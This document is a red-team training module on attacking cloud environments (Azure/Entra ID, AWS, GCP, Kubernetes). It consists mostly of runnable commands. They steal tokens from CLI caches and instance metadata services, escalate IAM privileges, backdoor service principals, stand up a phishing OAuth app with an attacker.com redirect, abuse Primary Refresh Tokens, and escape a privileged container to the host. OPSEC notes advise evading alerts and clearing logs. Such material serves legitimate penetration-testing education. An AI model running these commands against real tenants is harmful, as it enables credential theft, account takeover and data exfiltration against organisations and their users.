Pillar 5: Cloud Attack

BLUF: Cloud is now the primary corporate environment. Entra ID replaces on-prem AD, Azure workloads hold crown jewels, and misconfigurations are everywhere. A red teamer who can't attack cloud is operating blind in half of all enterprise engagements.

Attack Path Overview

graph TB
    Start([Cloud Identity Fundamentals]) --> Enum[Cloud Enumeration and Recon]
    Enum --> IAM[IAM Privilege Escalation]
    Enum --> Token[Token Theft and Abuse]
    IAM --> IMDS[IMDS Abuse]
    Token --> IMDS
    IMDS --> AzureAD[Azure AD and Entra Attack Paths]
    AzureAD --> Serverless[Serverless and Container Attacks]
    Serverless --> FullCloud([Full Cloud Engagement])
    style Start fill:#ff6600
    style FullCloud fill:#00aa00

MITRE ATT&CK Mapping

Action Item 1 — Cloud Identity Fundamentals [Beginner]

Understanding the identity model of major cloud platforms is the prerequisite for any enumeration or exploitation. You must grasp how tenants, subscriptions, and roles interact before you can effectively navigate the environment.

What you're building: A working mental model of who is who in the cloud — users, service principals, managed identities, roles, and trust relationships — so you know where to look for privilege and where tokens will flow.

Technique: Cloud Identity & Authentication Analysis

Tools: az cli, aws cli, gcloud, AADInternals

Think of cloud identity like an org chart for a building you're trying to infiltrate:

Work through authentication before enumeration — know who you are before mapping what you can reach.

Phase 1 — Tenant & Account Context

# Azure: Enumerate tenant information from a domain name (unauthenticated)
# Reveals tenant ID, whether the domain is federated or managed
curl "https://login.microsoftonline.com/contoso.com/.well-known/openid-configuration"

# Azure: Authenticate as a Service Principal using a client secret
az login --service-principal -u <app-id> -p <client-secret> --tenant <tenant-id>

# Azure: Authenticate as a Service Principal using a certificate
az login --service-principal -u <app-id> -p <path-to-cert.pem> --tenant <tenant-id>

# AWS: Identify the current user and account context
aws sts get-caller-identity

# AWS: Assume a role to gain temporary credentials
# Returns AccessKeyId, SecretAccessKey, and SessionToken
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/TargetRole \
  --role-session-name "RedTeamSession"

# AWS: List policies attached to a specific user
aws iam list-attached-user-policies --user-name <username>

# GCP: List active accounts and projects
gcloud auth list
gcloud projects list

# GCP: Authenticate with a service account key file
gcloud auth activate-service-account --key-file=credentials.json

Phase 2 — Identity Reconnaissance

# Azure: List all users in the tenant
az ad user list --output table

# Azure: List all service principals (look for over-privileged automation accounts)
az ad sp list --output table --query '[*].[displayName,appId]'

# Azure: List all role assignments at subscription level
az role assignment list --all --output table

# AWS: List all IAM users
aws iam list-users --output table

# AWS: List all IAM roles (check trust policies for over-broad assumptions)
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' --output json

# AWS: Check effective permissions for current identity (Pacu: iam__enum_permissions)
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/lowpriv \
  --action-names iam:PassRole s3:GetObject ec2:DescribeInstances

Why: Service principals and managed identities are frequently over-privileged because developers assign Contributor or Owner roles for convenience. Over-privileged automation accounts are the most reliable escalation path.

OPSEC: Authenticating as a service principal or assuming a role is logged in CloudTrail (AWS) or Activity Logs (Azure). Use descriptive but non-suspicious session names in AWS ("AutomationSession") to blend in with legitimate automation.

Quick Reference: Cloud Identity Types

Action Item 2 — Cloud Enumeration & Recon [Beginner]

Enumerate cloud infrastructure from both unauthenticated and authenticated perspectives to map the attack surface and identify low-hanging fruit like public storage or over-privileged identities.

What you're building: A complete map of the cloud environment — who has access to what, where the data lives, and which misconfigurations offer a direct path to privilege — before you attempt a single attack.

Technique: Cloud Infrastructure Discovery & Permission Mapping

Tools: AzureHound, ROADtools, Pacu, ScoutSuite, MicroBurst

# AzureHound: Collect Entra ID and Azure RM data for BloodHound analysis
# Gold standard for mapping Azure attack paths visually
./azurehound list --tenant "contoso.onmicrosoft.com" \
  -u "user@contoso.com" -p "password123" \
  -o output.json

# ROADtools: Gather comprehensive Entra ID data into a local database
roadrecon gather -u user@contoso.com -p password123
roadrecon gui  # Launch the web interface to browse the data

# AWS: Use Pacu to enumerate the environment
python3 pacu.py
# Inside Pacu:
# set_keys <key_name>
# run iam__enum_permissions        ← maps your effective permissions
# run s3__bucket_finder            ← finds public + accessible buckets
# run ec2__download_userdata       ← UserData often contains secrets/scripts
# run iam__privesc_scan            ← automated privilege escalation finder

# ScoutSuite: Multi-cloud security audit (AWS, Azure, GCP)
# Generates an HTML report of misconfigurations
scout aws --no-browser
scout azure --no-browser --cli

# Azure: Unauthenticated blob enumeration using MicroBurst
# Brute-forces storage account names and checks for public containers
Import-Module .\MicroBurst.ps1
Invoke-EnumerateAzureBlobs -Base contoso

# Azure: Enumerate all resources the current user can see
az resource list --output table

# Azure: List all role assignments for the current user
az role assignment list --assignee <user-object-id> --all

# AWS: Enumerate S3 buckets and check contents
aws s3 ls
aws s3 ls s3://target-bucket-name --recursive

# AWS: List all EC2 instances in the current region
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress]' \
  --output table

# AWS: Check for publicly exposed RDS snapshots
aws rds describe-db-snapshots --snapshot-type public --output table

Why: AzureHound feeds BloodHound — the fastest way to find attack paths from a low-privilege user to Global Admin. Pacu's iam__privesc_scan automates what would otherwise take hours of manual policy analysis. ScoutSuite gives you a comprehensive HTML report you can reference throughout the engagement.

OPSEC: AzureHound and ROADtools perform many API calls which can be flagged by Identity Protection. Slow down collection or target specific objects if stealth is required. Public storage scanning is often monitored by cloud providers; use a VPN or proxy. S3 access logs are per-bucket and often enabled on sensitive buckets.

Action Item 3 — IAM Privilege Escalation [Intermediate]

Escalate privileges within cloud IAM by abusing misconfigured roles, permissions, or trust relationships. This often involves finding a path from a low-privilege user to a role with administrative capabilities.

What you're building: A clear escalation path from your current low-privilege identity to a role with effective administrative access — documented with evidence and mapped to the specific misconfiguration.

Technique: IAM & RBAC Exploitation

Tools: Pacu, AzureHound, MicroBurst, AADInternals

# --- AWS IAM Escalation ---

# Check for iam:PassRole (allows attaching admin roles to EC2/Lambda)
# If you can pass a role, you can execute code as that role
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/lowpriv \
  --action-names iam:PassRole

# Escalate via iam:CreatePolicyVersion (create new admin version of a policy you own)
# In Pacu: run iam__privesc_scan
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

# Escalate via iam:UpdateAssumeRolePolicy
# If you have this permission, you can modify a role's trust policy to allow your user to assume it
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document file://trust-policy.json
# trust-policy.json: {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::ACCOUNT:user/YOURUSER"},"Action":"sts:AssumeRole"}]}

# OIDC/Workload Identity Federation Abuse (AWS)
# Check for wildcard subject conditions in OIDC trust policies (common in GitHub Actions)
aws iam get-role --role-name github-actions-role
# Look for: "StringLike": {"token.actions.githubusercontent.com:sub": "repo:org/*:*"}
# Wildcard subject = any repo in the org can assume this role

# AWS Cross-Account IAM Role Confusion
# Over-trusted roles in dev accounts can pivot to production
aws iam list-roles \
  --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' \
  --output json
# Look for Principal: "*" or overly broad external account IDs
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/RoleName \
  --role-session-name pwned

# --- Azure IAM Escalation ---

# Identify privesc paths in BloodHound
# Look for: 'AddMembers' on a group with 'Owner' rights on a subscription
# Look for: 'GenericAll' on a Service Principal with high-privilege roles

# Exploit 'Contributor' role on a VM to execute commands via RunCommand
# Allows you to run scripts as SYSTEM/root on the VM — no RDP needed
az vm run-command invoke \
  -g <resource-group> -n <vm-name> \
  --command-id RunShellScript \
  --scripts "whoami; id; cat /etc/shadow"

# Escalate from Application Administrator to Global Administrator
# Add a new secret to a Service Principal that has GA rights
Add-AADIntServicePrincipalKey -ClientID <ga-sp-client-id> -Certificate <your-cert>

# Abuse 'User Access Administrator' to grant yourself 'Owner'
az role assignment create \
  --assignee <your-object-id> \
  --role "Owner" \
  --scope "/subscriptions/<sub-id>"

# OIDC federation abuse in Azure (check federated credentials for wildcards)
az ad app federated-credential list --id <app-id>
# Look for: "subject": "repo:org/*:*" — wildcard subjects are exploitable

Why: iam:PassRole is the most common AWS escalation path — developers frequently grant it without understanding it's equivalent to granting the target role's permissions. Cross-account role confusion is prevalent in multi-account AWS organizations where dev accounts trust prod roles. OIDC wildcard subjects allow any repository in an organization to assume a high-privilege role.

OPSEC: Privilege escalation attempts are high-fidelity signals. In AWS, SimulatePrincipalPolicy is far less noisy than actually attempting the actions. In Azure, RunCommand is logged in both the VM's guest OS and Azure Activity Logs — assume blue team visibility.

Action Item 4 — Token Theft & Abuse [Intermediate]

Steal or forge cloud authentication tokens to move laterally and persist. Tokens are the "keys to the kingdom" in cloud environments, often bypassing MFA if reused correctly.

What you're building: A set of reusable access and refresh tokens that give you authenticated access to cloud services without needing credentials — and an understanding of when token reuse will trigger alerts.

Technique: Token Extraction, Refresh, & Replay

Tools: TokenTactics, ROADtools, az cli, AADInternals

# Azure: Extract access and refresh tokens from the az cli cache
# These are stored in plain text in the user's home directory
cat ~/.azure/msal_token_cache.json

# Azure: Use a stolen access token to authenticate to the Graph API
# This bypasses the need for a password or MFA
curl -H "Authorization: Bearer <access_token>" \
  "https://graph.microsoft.com/v1.0/me"

# Azure: Refresh an expired access token using a stolen refresh token (TokenTactics)
Import-Module .\TokenTactics.ps1
$tokens = Refresh-Token -refreshToken <stolen_refresh_token>
$tokens.access_token

# Azure: Request a token for a different resource using a refresh token
# Powerful lateral movement: one refresh token → access to multiple services
$vaultToken = Refresh-Token -refreshToken <token> -Resource "https://vault.azure.net"
$graphToken = Refresh-Token -refreshToken <token> -Resource "https://graph.microsoft.com"
$armToken   = Refresh-Token -refreshToken <token> -Resource "https://management.azure.com"

# Azure: Forge a token using a stolen certificate (AADInternals)
Get-AADIntAccessTokenWithCertificate \
  -CertificatePath <cert.pfx> \
  -ClientID <app-id> \
  -TenantID <tenant-id> \
  -Resource "https://graph.microsoft.com"

# AWS: Steal temporary credentials from an EC2 instance profile
# These are often found in environment variables or the IMDS
env | grep AWS_ACCESS_KEY_ID
cat ~/.aws/credentials

# AWS: Use stolen credentials with the CLI
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity   # verify the stolen identity

Why: Refresh tokens for Microsoft 365 are valid for 90 days by default. A single stolen refresh token gives you access to every service the user is licensed for — without triggering any new MFA prompts. Token reuse is more reliable than password reuse and works regardless of Conditional Access policies (unless bound to device compliance).

OPSEC: Token reuse from a different IP address or device can trigger Conditional Access "Impossible Travel" alerts. Use a proxy that matches the victim's location and device fingerprint if possible. AWS GetSessionToken calls are logged in CloudTrail — assume the blue team can see what you're doing with stolen credentials.

Quick Reference: Azure Token Scopes

Action Item 5 — IMDS Abuse [Intermediate]

Abuse Instance Metadata Services (IMDS) on cloud VMs to steal credentials associated with the instance's identity. This is a common pivot point from a web vulnerability (SSRF) to cloud-wide access.

What you're building: A set of temporary cloud credentials stolen from the instance's built-in metadata API — credentials that have whatever IAM permissions were granted to the EC2 instance profile or Azure managed identity.

Technique: Metadata Service Exploitation & Credential Theft

Tools: curl, aws cli, az cli

# Azure: Retrieve an access token for the VM's Managed Identity
# Requires the 'Metadata: true' header to prevent simple SSRF
# api-version 2023-07-01 is current; earlier versions (pre-2019) are deprecated
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2023-07-01&resource=https://management.azure.com/"

# Azure: List all managed identities on this VM
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=2023-07-01"

# Azure: Steal storage account access token (useful for reading blob data)
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2023-07-01&resource=https://storage.azure.com/"

# AWS: IMDSv1 - Retrieve IAM role credentials (No header required)
# Note: IMDSv1 is vulnerable to SSRF — any request from the instance works
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# AWS: IMDSv2 - Retrieve credentials (Requires session token — mitigates SSRF)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# AWS: Check if IMDSv1 is disabled (good for reporting)
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \
  --output table
# "optional" = IMDSv1 enabled (vulnerable); "required" = IMDSv2 only (secure)

# GCP: Retrieve service account token from the metadata server
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Post-Exploitation: Use stolen IMDS token to access cloud services
# AWS:
export AWS_ACCESS_KEY_ID=<key>
export AWS_SECRET_ACCESS_KEY=<secret>
export AWS_SESSION_TOKEN=<token>
aws s3 ls    # list buckets
aws iam get-user 2>/dev/null || aws sts get-caller-identity   # identify role

# Azure:
# Use the token directly in API calls
curl -H "Authorization: Bearer <stolen_managed_identity_token>" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

Why: IMDSv1 is accessible to any code running on the instance — including SSRF payloads in web apps. A single SSRF → IMDS token → AWS credentials chain can go from web vulnerability to full cloud compromise in minutes if the instance role is over-privileged.

OPSEC: Accessing the IMDS itself is generally not logged, but using the resulting credentials is. AWS GuardDuty specifically alerts on "InstanceCredentialAbuse" if credentials stolen from IMDS are used from outside the AWS environment. Operate through a proxy in the same AWS region if possible.

Action Item 6 — Azure AD / Entra ID Attack Paths [Advanced]

Chain Entra ID misconfigurations and permissions to achieve tenant-wide compromise. This includes OAuth phishing, PRT theft, Conditional Access bypass, and exploiting hybrid identity links.

What you're building: A chain from an initial Entra ID foothold — a user account, a service principal, or a joined device — to Global Administrator or equivalent tenant-wide control.

Technique: Entra ID Tenant Compromise & Persistence

Tools: AADInternals, ROADtools, AzureHound, Evilginx2, roadtx

# Azure: Create a malicious OAuth application for phishing
# Requests permissions like Mail.Read or Directory.ReadWrite.All
New-AADIntOAuthApprovalPage \
  -ClientID <your-client-id> \
  -RedirectURI "https://attacker.com/callback" \
  -Resource "https://graph.microsoft.com"

# Azure: Backdoor an existing Service Principal by adding a new credential
# Provides persistent access that survives password resets of user accounts
Add-AADIntServicePrincipalKey -ClientID <target-sp-id> -Certificate <your-cert>

# Azure: Enumerate Conditional Access policies to find bypasses
# Look for 'Exclude' groups or legacy protocols (POP3/IMAP) that don't support MFA
roadrecon gather
# Check 'conditional_access_policies' table in the database
# Look for: legacy auth not blocked, exclude groups with stale membership

# Azure: Extract the Primary Refresh Token (PRT) from a joined device
# Requires SYSTEM privileges on the device
# PRT allows full SSO impersonation and bypasses MFA
Import-Module AADInternals
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Get-AADIntUserPRTToken
# Note: Get-AADIntUserPRTToken returns the PRT as a JWT for further abuse.
# Full PRT extraction requires device-side SYSTEM access.
# Get-AADIntUserPRT (without "Token") does NOT exist — use Get-AADIntUserPRTToken.

# Azure: PRT Abuse with roadtx (bypass MFA + Conditional Access device compliance)
# roadtx: pip install roadtx
roadtx browserprtauth \
  --prt <prt_token> \
  --prt-sessionkey <session_key>

roadtx gettokens \
  --client-id 29d9ed98-a469-4536-ade2-f981bc1d605e \
  --scope https://graph.microsoft.com/.default

roadtx prtauth \
  --prt <prt> \
  --prt-sessionkey <key> \
  --tenant <tenant_id> \
  --client-id <app_id>
# Why: PRT abuse bypasses MFA and Conditional Access device compliance checks.
# A PRT extracted from a compliant joined device grants access as if you ARE that device.

# Azure: Abuse 'Device Administrator' to gain local admin on all joined devices
# Identify users in 'Device Administrators' role via BloodHound or AzureHound
# This is a powerful cloud → on-prem lateral movement path

Why: PRTs are the most powerful credential in an Entra ID environment — they provide SSO access to every application the user is licensed for and bypass device compliance checks in Conditional Access. roadtx makes PRT abuse reliable and scriptable.

Common Entra ID Attack Paths:

1. App Admin → GA: Abuse Application Administrator role to add a secret to a GA-owned app.
2. Guest → Member: Abuse B2B guest permissions to enumerate the directory.
3. Hybrid → Cloud: Compromise AD Connect server to steal the MSOL_ account and sync a malicious password.
4. Cloud → Hybrid: Use 'Device Administrator' or 'Intune Administrator' to push malicious scripts to on-prem devices.
5. PRT → Tenant Admin: Steal PRT from a Global Admin's joined workstation to bypass MFA and access all services.

OPSEC: OAuth phishing is highly visible to users. Backdooring service principals is stealthy but can be found by auditing SP credential changes. PRT theft requires a high-privilege foothold on a workstation but is extremely difficult to detect once executed. roadtx traffic looks like normal Azure SDK calls.

Action Item 7 — Serverless & Container Attacks [Advanced]

Attack serverless functions, containers, and orchestration platforms like Kubernetes to compromise cloud workloads and move laterally into the management plane.

What you're building: Access to the cloud management plane by exploiting misconfigured serverless functions, privileged containers, or Kubernetes RBAC — paths that bypass traditional network perimeter controls entirely.

Technique: Workload & Orchestration Exploitation

Tools: kubectl, peirates, kube-hunter, CDK

# AWS: Steal Lambda environment variables (often containing DB creds, API keys, secrets)
# If you have code execution in a Lambda function:
printenv
# Lambda runtime also exposes AWS credentials:
env | grep AWS

# K8s: Enumerate the cluster using a stolen Service Account token
# Tokens are often found at /var/run/secrets/kubernetes.io/serviceaccount/token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl get pods --token $TOKEN
kubectl auth can-i --list --token $TOKEN   # what can this SA do?
kubectl get secrets --all-namespaces --token $TOKEN

# K8s: Escape a privileged container to the host node
# kubectl exec into a privileged pod or launch one:
kubectl run pwned --image=alpine --restart=Never \
  --overrides='{"spec":{"containers":[{"name":"x","image":"alpine","stdin":true,"tty":true,
  "securityContext":{"privileged":true},
  "volumeMounts":[{"name":"root","mountPath":"/host"}]}],
  "volumes":[{"name":"root","hostPath":{"path":"/"}}]}}'
# Inside the container:
chroot /host
# You now have root on the underlying node

# K8s: Abuse 'create pods' permission to escalate to cluster-admin
# Create a pod that mounts the host filesystem and runs a reverse shell
kubectl apply -f malicious-pod.yaml

# AWS: Exploit ECS Task Role to gain cloud access
# ECS tasks have a metadata endpoint with IAM credentials
curl $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Then use those credentials with the AWS CLI

# K8s: Service Account Token Escalation
# Find high-privilege SAs in kube-system namespace
kubectl get serviceaccounts -n kube-system --token $TOKEN
kubectl get rolebindings,clusterrolebindings \
  --all-namespaces -o json --token $TOKEN \
  | grep -A5 "cluster-admin"

# Automated K8s assessment
# peirates: kubectl-aware privilege escalation
./peirates

# kube-hunter: unauthenticated + authenticated cluster scanning
kube-hunter --remote <cluster-api-ip>

Why: Kubernetes RBAC is notoriously misconfigured — the cluster-admin binding is frequently assigned to service accounts used by CI/CD pipelines. Compromising a pipeline SA → full cluster control → all workloads in the cluster → associated cloud IAM roles.

OPSEC: Kubernetes auditing (if enabled) logs all kubectl actions. Container escapes are noisy and can be detected by runtime security tools like Falco or Azure Defender for Containers. Run kube-hunter in passive mode first to avoid triggering active scan alerts.

Action Item 8 — Full Cloud Engagement [Operator]

Execute a complete cloud red team engagement from external recon to tenant-wide compromise. This requires chaining multiple techniques while maintaining a low profile and respecting the blast radius.

What you're building: A documented end-to-end cloud kill chain — from initial foothold through lateral movement to crown jewel access — with every step logged for the final report's attack narrative.

Technique: End-to-End Cloud Kill Chain Execution

Tools: Full Cloud Red Team Arsenal

Procedure:

1. Recon: Perform unauthenticated enumeration of the target's cloud footprint. Identify the tenant ID, public S3/Blob storage, and exposed applications. Use MicroBurst, ROADtools, and Google dork for leaked keys in public repos (site:github.com "AKIA", site:pastebin.com "client_secret").
2. Initial Access: Gain a foothold via OAuth phishing or by exploiting a web vulnerability (SSRF) to steal IMDS credentials. Alternatively, find leaked keys in public GitHub repos or CI/CD logs.
3. Enumeration: Once inside, use AzureHound or Pacu to map the internal environment. Identify the current identity's permissions and look for paths to higher-privilege roles. Check for "shadow admins" and over-privileged service principals.
4. Privilege Escalation: Execute an IAM privesc path. For example, use iam:PassRole to compromise an administrative EC2 instance or abuse AddMembers on a privileged Entra ID group. Look for Contributor rights on sensitive resources.
5. Lateral Movement: Pivot between cloud services. Use stolen tokens to access Key Vaults, databases, or other subscriptions. If hybrid, look for paths back to on-prem AD via AD Connect or joined devices. Check for cross-account role trust relationships.
6. Persistence & Objectives: Establish persistence via a backdoored Service Principal or a new IAM user with a long-lived access key. Complete the objective — exfiltrate sensitive data from a "crown jewel" storage account or compromise the CI/CD pipeline.
7. Cleanup: Remove any temporary IAM users, roles, or policy versions. Delete malicious OAuth apps and revert any RBAC changes. Clear any logs within scope and technically possible to remove.

Common Cloud Service Endpoints:

OPSEC: The "Operator" mindset in cloud is about understanding the logging (CloudTrail, Log Analytics) and working around it. Prefer "living off the cloud" using legitimate CLI tools over custom binaries. Always assume you are being watched and document every action for the final report.

Resources

Part of the Red Teaming 101 series.